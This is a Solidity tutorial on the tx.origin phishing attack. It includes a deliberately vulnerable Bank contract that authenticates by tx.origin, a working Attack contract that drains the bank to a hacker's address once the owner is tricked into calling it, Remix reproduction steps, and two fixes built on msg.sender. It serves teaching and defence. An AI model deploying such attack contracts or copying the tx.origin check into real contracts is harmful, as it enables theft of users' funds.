WTF Solidity S12. tx.origin Phishing Attack
Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies.
Twitter: @0xAA_Science | @WTFAcademy_
Community: Discord|Wechat|Website wtf.academy
Codes and tutorials are open source on GitHub: github.com/AmazingAng/WTF-Solidity
English translations by: @to_22X
In this lesson, we will discuss the tx.origin phishing attack and prevention methods in smart contracts.
tx.origin Phishing Attack
When I was in middle school, I loved playing games. However, the game developers implemented an anti-addiction system that only allowed players who were over 18 years old, as verified by their ID card number, to play without restrictions. So, what did I do? I used my parent's ID card number to bypass the system and successfully circumvented the anti-addiction measures. This example is similar to the tx.origin phishing attack.
In Solidity, tx.origin is used to obtain the original address that initiated the transaction. It is similar to msg.sender. Let's differentiate between them with an example.
If User A calls Contract B, and then Contract B calls Contract C, from the perspective of Contract C, msg.sender is Contract B, and tx.origin is User A. If you are not familiar with the call mechanism, you can read WTF Solidity 22: Call.

Therefore, if a bank contract uses tx.origin for identity authentication, a hacker can deploy an attack contract and then induce the owner of the bank contract to call it. Even if msg.sender is the address of the attack contract, tx.origin will be the address of the bank contract owner, allowing the transfer to succeed.
Vulnerable Contract Example
Bank Contract
Let's take a look at the bank contract. It is very simple and includes an owner state variable to record the contract owner. It has a constructor and a public function:
- Constructor: Assigns a value to the
ownervariable when the contract is created. transfer(): This function takes two parameters,_toand_amount. It first checkstx.origin == ownerand then transfers_amountETH to_to. Note: This function is vulnerable to phishing attacks!
contract Bank {
address public owner; // Records the owner of the contract
// Assigns the value to the owner variable when the contract is created
constructor() payable {
owner = msg.sender;
}
function transfer(address payable _to, uint _amount) public {
// Check the message origin !!! There may be phishing risks if the owner is induced to call this function!
require(tx.origin == owner, "Not owner");
// Transfer ETH
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
}
Attack Contract
Next is the attack contract, which has a simple attack logic. It constructs an attack() function to perform phishing and transfer the balance of the bank contract owner to the hacker. It has two state variables, hacker and bank, to record the hacker's address and the address of the bank contract to be attacked.
It includes 2 functions:
- Constructor: Initializes the
bankcontract address. attack(): The attack function that requires theowneraddress of the bank contract to call. When theownercalls the attack contract, the attack contract calls thetransfer()function of the bank contract. After confirmingtx.origin == owner, it transfers the entire balance from the bank contract to the hacker's address.
contract Attack {
// Beneficiary address
address payable public hacker;
// Bank contract address
Bank bank;
constructor(Bank _bank) {
// Forces the conversion of the address type _bank to the Bank type
bank = Bank(_bank);
// Assigns the beneficiary address to the deployer's address
hacker = payable(msg.sender);
}
function attack() public {
// Induces the owner of the Bank contract to call, transferring all the balance to the hacker's address
bank.transfer(hacker, address(bank).balance);
}
}
Reproduce on Remix
1. Set the value to 10ETH, then deploy the Bank contract, and the owner address owner is initialized as the deployed contract address.

2. Switch to another wallet as the hacker wallet, fill in the address of the bank contract to be attacked, and then deploy the Attack contract. The hacker address hacker is initialized as the deployed contract address.

3. Switch back to the owner address. At this point, we were induced to call the attack() function of the Attack contract. As a result, the balance of the Bank contract is emptied, and the hacker's address gains 10ETH.

Prevention Methods
Currently, there are two main methods to prevent potential tx.origin phishing attacks.
1. Use msg.sender instead of tx.origin
msg.sender can obtain the address of the direct caller of the current contract. By verifying msg.sender, the entire calling process can be protected from external attack contracts.
function transfer(address payable _to, uint256 _amount) public {
require(msg.sender == owner, "Not owner");
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
2. Verify tx.origin == msg.sender
If you must use tx.origin, you can also verify that tx.origin is equal to msg.sender. This can prevent external contract calls from interfering with the current contract. However, the downside is that other contracts will not be able to call this function.
function transfer(address payable _to, uint _amount) public {
require(tx.origin == owner, "Not owner");
require(tx.origin == msg.sender, "can't call by external contract");
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
Summary
In this lesson, we discussed the tx.origin phishing attack in smart contracts. There are two methods to prevent it: using msg.sender instead of tx.origin, or checking tx.origin == msg.sender. It is recommended to use the first method, as the latter will reject all calls from other contracts.